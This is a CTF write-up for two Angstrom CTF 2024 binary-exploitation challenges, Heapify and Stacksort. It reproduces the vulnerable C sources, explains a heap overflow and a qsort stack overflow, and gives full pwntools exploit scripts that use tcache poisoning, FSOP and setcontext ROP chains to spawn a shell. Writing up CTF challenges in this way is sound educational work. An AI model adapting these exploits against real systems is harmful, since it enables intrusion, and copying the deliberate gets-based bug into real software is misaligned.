# Angstrom CTF 2024
I joined this competition with my team G.0.4.7 last weekend. I tried hard and nearly cleared all the challenges. Here are my writeups of some challenges.

## Heapify
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define N 32
int idx = 0;
char *chunks[N];
int readint() {
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}
void alloc() {
if(idx >= N) {
puts("you've allocated too many chunks");
return;
}
printf("chunk size: ");
int size = readint();
char *chunk = malloc(size);
printf("chunk data: ");
// ----------
// VULN BELOW !!!!!!
// ----------
gets(chunk);
// ----------
// VULN ABOVE !!!!!!
// ----------
printf("chunk allocated at index: %d\n", idx);
chunks[idx++] = chunk;
}
void delete() {
printf("chunk index: ");
int i = readint();
if(i >= N || i < 0 || !chunks[i]) {
puts("bad index");
return;
}
free(chunks[i]);
chunks[i] = 0;
}
void view() {
printf("chunk index: ");
int i = readint();
if(i >= N || i < 0 || !chunks[i]) {
puts("bad index");
return;
}
puts(chunks[i]);
}
int menu() {
puts("--- welcome 2 heap ---");
puts("1) allocate");
puts("2) delete");
puts("3) view");
}
int main() {
setbuf(stdout, 0);
menu();
for(;;) {
printf("your choice: ");
switch(readint()) {
case 1:
alloc();
break;
case 2:
delete();
break;
case 3:
view();
break;
default:
puts("exiting");
return 0;
}
}
}
```
**Bugs: Heap overflow** in `alloc`
We have three options: `alloc`, `view`, `free`.
- `Alloc` will malloc a size based on our input
- `View` will print the chunk's content
- `Free` will free our desired chunk (no uaf as the pointer is reseted to `NULL`)
### Read primitive
Our target is to make two indexes contain the same chunk.
Here I can overwrite the adjacent chunk's size. So I will overwrite it to a larger size and setup it carefully to bypass valid chunk check in malloc.
Then, free the large chunk, which will overlap with some below chunks. Then malloc it again so we will have a similar large chunk in two indexes.
Free an index and read another index.
Leak libc, then free the large chunk, after that malloc again with a smaller size, free it, and you will put that chunk into tcachebin. It's easy to leak heap
### Write primitive
Tcache poisoning to write into `tcache_perthread_struct`. As such, fill the tcache entry with `stdout`, then use `FSOP` to change `stdout->vtable` to a valid
I used setcontext to pivot stack and ROP.
I have mentioned this technique in some of my old challenges. You can find and read it again.
**Final script:**
```py
from pwn import *
e = context.binary = ELF("./heapify")
l = ELF("./libc.so.6")
r = e.process()
#r = remote("challs.actf.co", 31501)
def a(size: int, data: bytes):
r.sendlineafter(b'your choice: ', b'1')
r.sendlineafter(b'size: ', str(size).encode())
r.sendlineafter(b'data: ', data)
def d(idx: int):
r.sendlineafter(b'your choice: ', b'2')
r.sendlineafter(b'index: ', str(idx).encode())
def v(idx: int):
r.sendlineafter(b'your choice: ', b'3')
r.sendlineafter(b'index: ', str(idx).encode())
def enc(a, b):
return p64(a ^ (b >> 12))
a(0x10, b'A')
a(0x50, b'A') # 1
a(0x50, b'B') # 2
a(0x410, b'C') # 3
a(0x70, p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21)) # 4
a(0x70, p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))
d(1)
a(0x50, p64(0) * 11 + p64(0x4a1 + 0x80))
d(2)
a(0x50, b'A')
v(3)
l.address = u64(r.recv(6) + b'\0' * 2) - l.sym.main_arena - 96
log.info(f'Libc: {hex(l.address)}')
a(0x20, b'A')
d(8)
v(3)
heap = (u64(r.recv(5) + b'\0' * 3) << 12) - 0x1000
log.info(f'Heap: {hex(heap)}')
a(0x480, b'D')
#pause()
a(0x288, b'A')
a(0x288, b'B')
a(0x288, b"C")
d(12)
d(11)
d(10)
a(0x288, b'\0' * 0x288 + p64(0x291) + enc(heap + 0x10, heap + 0x1b40))
rdi = l.address + 0x000000000002a3e5
ret = rdi + 1
system = l.sym.system
bin_sh = next(l.search(b'/bin/sh'))
setcontext = l.sym.setcontext + 61
pl = b'\0' * 0x68 + p64(setcontext)
pl = pl.ljust(0xa0, b'\0')
pl += p64(heap + 0x2118 - 0x2030 + 0x1b40)
pl += p64(ret)
pl = pl.ljust(0xe0, b'\0')
pl += p64(heap + 0x1b40)
pl += p64(rdi) + p64(bin_sh) + p64(ret) + p64(system)
a(0x288, pl)
stdout = l.sym['_IO_2_1_stdout_']
stdin = l.sym['_IO_2_1_stdin_']
a(0x288, p16(1) * 64 + p64(stdout) * 20)
fp = p64(0)
fp += p64(stdout + 131) * 7
fp += p64(stdout + 132)
fp += p64(0) * 4
fp += p64(stdin)
fp += p64(0x1) + p64(0xffffffffffffffff)
fp += p64(0x000000000000000) + p64(l.address + 0x21ba70)
fp += p64(0xffffffffffffffff) + p64(0)
fp += p64(heap + 0x1b40) # set _IO_wide_data of stdout in order to bypass _IO_wfile_overflow check
fp += p64(0) * 3 + p64(0x00000000ffffffff)
fp += p64(0) * 2
fp += p64(l.sym['_IO_wfile_jumps_mmap'] + 24 - 0x38)
pause()
a(0x148, fp)
r.interactive()
```

## Stacksort:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define N 0x100
size_t readint() {
char buf[0x10];
int cnt = read(0, buf, 0xf);
buf[cnt] = 0;
return strtoul(buf, 0, 10);
}
int cmp(const void *a, const void *b) {
size_t v1 = *(size_t*)a;
size_t v2 = *(size_t*)b;
if(v1 < v2) return -1;
else if(v1 > v2) return 1;
return 0;
}
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
size_t items[N];
for(int i = 0; i < N; i++) {
printf("%d: ", i);
items[i] = readint();
}
qsort(items, N*2, sizeof(size_t), cmp);
cmp(stdin+8, stdout+8);
}
```
**Bugs: items is a size_t array of 0x100 elements, but `qsort` sorts 0x200 elements -> `Stack buffer overflow`**
### Read primitive
Set breakpoint at the last instruction of `main` to see if we have something interesting.

As we can see, `rdi` is `main_arena + 1248`, which points recursively to another `main_arena` address. Using printf, leaking libc is absolutely easy.
We cannot return to main, as it makes our stack spraying not successful, as there are many values left behind after calling `printf` or `qsort`.
So, the right path is to pad the stack with `ret` gadget. Then, `printf@plt` to leak libc.
But how can we return effectively?
Below the return address of `main`, `_start` gadget exists and we can take advantage of it. `_start` makes our stack spraying succeed in a higher rate, since sometimes `main` will crash due to stack alignment.
### Write primitive.
We cannot put ROP in a traditional way, as gadgets are going to be sorted, and we can't return it normally.
So how?
If you remember, after `ret` in `main`, `rdi` is pointing to a writable area.
Therefore, `gets` after `ret` is a perfect option.
After `gets`, `rax` will contain our written buffer.

`libc` contains various gadgets with a form `call qword ptr [rax+??]`.
So if we want to set an effective ROPchain, I come up with an idea of using `setcontext`, but to execute `setcontext` properly, `rdx` must be set.

After searching gadgets for a while, I see one satisfying my conditions.
**Final script:**
```python
from pwn import *
e = context.binary = ELF("./stacksort")
r = e.process()
#r = remote("localhost", 5000)
#r = remote("challs.actf.co", 31500)
l = ELF("./libc.so.6")
ret = 0x000000000040101a
printf = 0x4010a0
add_rsp = 0x0000000000401016
main = e.sym.main
ret2 = 0x0000000000401104
for i in range(0x81):
r.recvuntil(f'{i}: '.encode())
r.sendline(str(add_rsp).encode())
r.recvuntil(b'129: ')
r.sendline(str(ret).encode())
r.recvuntil(b'130: ')
r.sendline(str(printf).encode())
pause()
for i in range(0x83, 0x100, 1):
r.recvuntil(f'{i}: '.encode())
r.send(b'999999999999999')
l.address = u64(r.recv(6) + b'\0' * 2) - l.sym.main_arena - 1232
log.info(f'Libc: {hex(l.address)}')
og = l.address + 0x10d9ca
gets = l.sym.gets
ret = l.address + 0x10d7bb
system = l.sym.system
bss = l.address + 0x21b988
rax = l.address + 0x0000000000045eb0
mov_rdx_ptr_rax = 0x1136df + l.address
ret = l.address + 0x46bae
setcontext = l.sym.setcontext + 61
rdi = l.address + 0x000000000002a3e5
bin_sh = next(l.search(b'/bin/sh'))
rsi = 0x000000000002be51 + l.address
rdx_r12 = l.address + 0x000000000011f2e7
execve = l.sym.execve
for i in range(0xd3):
r.recvuntil(f'{i}: '.encode())
r.send(str(ret).encode())
r.recvuntil(b'211')
r.send(str(gets).encode())
for i in range(0xd4, 0xd8, 1):
r.recvuntil(f'{i}: '.encode())
r.send(str(mov_rdx_ptr_rax).encode())
for i in range(0xd8, 0xe0, 1):
r.recvuntil(f'{i}: '.encode())
r.send(str(bss).encode())
pause()
for i in range(0xe0, 256, 1):
r.recvuntil(f'{i}: '.encode())
r.send(b'999999999999999')
pause()
pl = b'\0' * 0x88 + p64(setcontext)
pl = pl.ljust(0xa0, b'\0')
pl += p64(l.sym.main_arena + 1496)
pl += p64(ret) + p64(l.sym.main_arena + 1248)
pl += p64(ret) * 10 + p64(rdi) + p64(bin_sh) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0) * 2 + p64(execve)
r.sendline(pl)
r.interactive()
```